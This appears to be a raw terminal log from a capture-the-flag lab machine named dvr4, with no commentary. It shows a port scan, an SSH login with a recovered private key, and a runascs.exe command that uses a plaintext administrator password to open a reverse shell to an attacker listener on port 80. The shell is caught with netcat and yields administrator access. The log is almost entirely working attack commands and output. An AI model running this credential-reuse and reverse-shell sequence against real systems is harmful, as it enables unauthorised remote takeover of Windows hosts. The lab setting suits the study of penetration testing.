Nmap scan report for 192.168.224.179
Host is up (0.20s latency).
Not shown: 65409 closed tcp ports (reset), 114 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5040/tcp open unknown
8080/tcp open http-proxy
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
┌──(kali㉿kali)-[~/ctf/pg/dvr4/SSH-Terrapin-Attack]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~/ctf/pg/dvr4/SSH-Terrapin-Attack]
└─$ ssh [email protected] -i id_rsa
The authenticity of host '192.168.224.179 (192.168.224.179)' can't be established.
ECDSA key fingerprint is SHA256:0zp+uR1SK5UOIuXmUFyBv6zUowYGwzY44kFpPaahWzs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.224.179' (ECDSA) to the list of known hosts.
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.
C:\Users\viewer>
C:\ProgramData\PY_Software>C:\windows\temp\runascs.exe administrator "14WatchD0g$" cmd -r 192.168.45.244:80
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-b57df$\Default
[+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 1352 created in background.
C:\ProgramData\PY_Software>
┌──(kali㉿kali)-[~/ctf/pg/dvr4/CVE-2022-25012]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.224.179] 50143
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
dvr4\administrator
